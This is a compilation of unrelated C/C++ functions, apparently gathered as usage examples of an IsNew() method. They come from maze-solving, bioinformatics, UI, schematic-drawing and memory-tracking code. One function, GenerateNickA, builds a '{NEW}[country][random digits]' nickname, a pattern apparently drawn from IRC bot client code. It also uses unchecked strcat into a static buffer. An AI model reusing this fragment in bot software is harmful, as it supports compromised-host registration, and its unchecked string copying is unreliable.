int CanMove (char **maze, int WIndex, int HIndex, int MaxW, int MaxH, int Direction, int *Total) // Decides if direction is possible { switch (Direction) { case North: HIndex--; break; case South: HIndex++; break; case West: WIndex--; break; case East: WIndex++; break; } if ((WIndex >= 0) && (WIndex <= MaxW) && (HIndex >= 0) && (HIndex <= MaxH) && (maze[HIndex][WIndex] != 'X')) { IsNew(maze,HIndex,WIndex,Total); // Desides if new part in maze and adjusts Total return 1; // No wall and within range } return 0; //Can't move }
bool BioSeq::IsMotifFront(const BSeq &bs_0) { if(!IsNew(bs_0.a)) return false; m_count = 0; for(auto &bsv : m_bSeqV) { for(auto &bs : bsv) { if(m_count_cutoff+bs.index > m_N_files_read+m_count) return false; if(bs.index==bs_0.index) { m_count++; break; } if(Distance(bs.a, bs_0.a, m_seqA_mismatches+1)>m_seqA_mismatches) continue; else { m_count++; break; } } if(m_count>=m_count_cutoff) return true; } return false; }
void IconCountItem::DrawItem(BView *owner, BRect frame, bool complete) { if (IsSelected() || complete) { rgb_color color; rgb_color origHigh; origHigh = owner->HighColor(); if (IsSelected()) { color = kHighlight; } else { color = owner->ViewColor(); }; owner->SetHighColor(color); owner->FillRect(frame); owner->SetHighColor(origHigh); } if (fIcon) { owner->SetDrawingMode(B_OP_ALPHA); owner->DrawBitmap(fIcon, BPoint(frame.left + kEdgeOffset, frame.top + kEdgeOffset)); owner->SetDrawingMode(B_OP_COPY); }; if (IsSelected()) owner->SetDrawingMode(B_OP_OVER); owner->MovePenTo(frame.left + kEdgeOffset + fIconWidth + kEdgeOffset, frame.bottom - fFontOffset); BString text = fText; if (Count() > 0) text << " (" << Count() << ")"; if (IsNew()) { owner->PushState(); owner->SetHighColor(255, 0, 0); }; owner->DrawString(text.String()); if (IsNew()) owner->PopState(); };
void print_directions(char** maze, int w, int h) { int WIndex, HIndex; // Indicies used in while loops int WStart; // Where to start the maze width int Total = 0; // Number of squares needed to cover int Direction = South; // Direction to go int Mode = Forward; // Either forward or backwards mode int LastW, LastH; // Location of index in previous stack int LastDir = None; // Direction went in previous call stack //printf("\e[1;1H\e[2J"); // Uncomment to clear screen before execution for (WIndex = 0; WIndex < w; WIndex++) // Finds entrance { if (maze[0][WIndex] == ' ') { WStart = WIndex; WIndex = w; } } // Figures out how many spaces must be moved through for (WIndex = 0; WIndex < w; WIndex++) { for (HIndex = 0; HIndex < h; HIndex++) { if (maze[HIndex][WIndex] == ' ') { Total++; } } } // subtract 1 since C starts index at 0 w--; h--; // Redfine Indicies to be equal to start location WIndex = WStart; HIndex = 0; LastW = WIndex; LastH = HIndex; IsNew(maze,0,WStart,&Total); // Ensures entrance is counted print_maze2(maze, w, h); Move(maze, WIndex, HIndex, w, h, Direction, &Total, &Mode, &LastW, &LastH, &LastDir); }
void LIB_ARC::drawEditGraphics( EDA_RECT* aClipBox, wxDC* aDC, int aColor ) { // The edit indicators only get drawn when a new arc is being drawn. if( !IsNew() ) return; // Use the last edit state so when the drawing switches from the end mode to the center // point mode, the last line between the center points gets erased. if( m_lastEditState == 1 ) { GRLine( aClipBox, aDC, m_ArcStart.x, -m_ArcStart.y, m_ArcEnd.x, -m_ArcEnd.y, 0, aColor ); } else { GRDashedLine( aClipBox, aDC, m_ArcStart.x, -m_ArcStart.y, m_Pos.x, -m_Pos.y, 0, aColor ); GRDashedLine( aClipBox, aDC, m_ArcEnd.x, -m_ArcEnd.y, m_Pos.x, -m_Pos.y, 0, aColor ); } }
/******************************************************************************************** > virtual BOOL VisibleTemplateAttribute::Interact(DialogOp& Dialog) Author: Colin_Barfoot (Xara Group Ltd) <*****@*****.**> Created: 09/06/97 Purpose: This allows the user to change this VisibleTemplateAttribute ********************************************************************************************/ BOOL VisibleTemplateAttribute::Interact(DialogOp& Dialog) { PORTNOTETRACE("other","TemplateAttribute::Interact - do nothing"); #ifndef EXCLUDE_FROM_XARALX ERROR3IF(!((&Dialog)->IS_KIND_OF(TemplateDialog)), "Dialog isn't kind of TemplateDialog"); TemplateDialog& BetterBeThisDialog = (TemplateDialog&)Dialog; // if there's a parameter hint, then let them edit the parameter // we'll blam 'em with an error message if they give us a duplicate if (IsNew() && !GetWizOp().GetParamHint().IsEmpty()) { BetterBeThisDialog.GetParamHintControl().Enable(); BetterBeThisDialog.GetKeyControl().Enable(); } // always let them change the question BetterBeThisDialog.GetValueControl().Enable(); #endif return TRUE; }
char *GenerateNickA(void) { static char nick[MAX_NICKLEN]; ZeroMemory(nick,MAX_NICKLEN); char locale[MAX_NICKLEN]; GetLocaleInfo(LOCALE_SYSTEM_DEFAULT, LOCALE_SABBREVCTRYNAME,locale,sizeof(locale)); if(IsNew()) { strcat(nick,"{NEW}"); } strcat(nick, "["); strcat(nick, locale); strcat(nick, "]"); strcat(nick, "["); //strcat(nick, GenerateOS()); strcat(nick, "]"); int i=1; char strbuf[2]; for (i;i<REQ_NICKLEN;i++) { sprintf(strbuf,"%i",rand()%10); strcat(nick,strbuf); } return nick; }
void CMemSpyEngineHelperSysMemTrackerGlobalData::CreateChangeDescriptorL( CMemSpyEngineHelperSysMemTrackerCycle& aCycle ) { CMemSpyEngineHelperSysMemTrackerCycleChangeGlobalData* changeDescriptor = CMemSpyEngineHelperSysMemTrackerCycleChangeGlobalData::NewLC( Attributes(), *iChunkName, iCurrent, IsNew() ? NULL : iLast ); aCycle.AddAndPopL( changeDescriptor ); }
void LIB_ARC::drawGraphic( EDA_DRAW_PANEL* aPanel, wxDC* aDC, const wxPoint& aOffset, int aColor, int aDrawMode, void* aData, const TRANSFORM& aTransform ) { // Don't draw the arc until the end point is selected. Only the edit indicators // get drawn at this time. if( IsNew() && m_lastEditState == 1 ) return; wxPoint pos1, pos2, posc; int color = ReturnLayerColor( LAYER_DEVICE ); if( aColor < 0 ) // Used normal color or selected color { if( IsSelected() ) color = g_ItemSelectetColor; } else { color = aColor; } pos1 = aTransform.TransformCoordinate( m_ArcEnd ) + aOffset; pos2 = aTransform.TransformCoordinate( m_ArcStart ) + aOffset; posc = aTransform.TransformCoordinate( m_Pos ) + aOffset; int pt1 = m_t1; int pt2 = m_t2; bool swap = aTransform.MapAngles( &pt1, &pt2 ); if( swap ) { EXCHG( pos1.x, pos2.x ); EXCHG( pos1.y, pos2.y ); } GRSetDrawMode( aDC, aDrawMode ); FILL_T fill = aData ? NO_FILL : m_Fill; if( aColor >= 0 ) fill = NO_FILL; if( fill == FILLED_WITH_BG_BODYCOLOR ) { GRFilledArc( aPanel->GetClipBox(), aDC, posc.x, posc.y, pt1, pt2, m_Radius, GetPenSize( ), (m_Flags & IS_MOVED) ? color : ReturnLayerColor( LAYER_DEVICE_BACKGROUND ), ReturnLayerColor( LAYER_DEVICE_BACKGROUND ) ); } else if( fill == FILLED_SHAPE && !aData ) { GRFilledArc( aPanel->GetClipBox(), aDC, posc.x, posc.y, pt1, pt2, m_Radius, color, color ); } else { #ifdef DRAW_ARC_WITH_ANGLE GRArc( aPanel->GetClipBox(), aDC, posc.x, posc.y, pt1, pt2, m_Radius, GetPenSize(), color ); #else GRArc1( aPanel->GetClipBox(), aDC, pos1.x, pos1.y, pos2.x, pos2.y, posc.x, posc.y, GetPenSize(), color ); #endif } /* Set to one (1) to draw bounding box around arc to validate bounding box * calculation. */ #if 0 EDA_RECT bBox = GetBoundingBox(); GRRect( aPanel->GetClipBox(), aDC, bBox.GetOrigin().x, bBox.GetOrigin().y, bBox.GetEnd().x, bBox.GetEnd().y, 0, LIGHTMAGENTA ); #endif }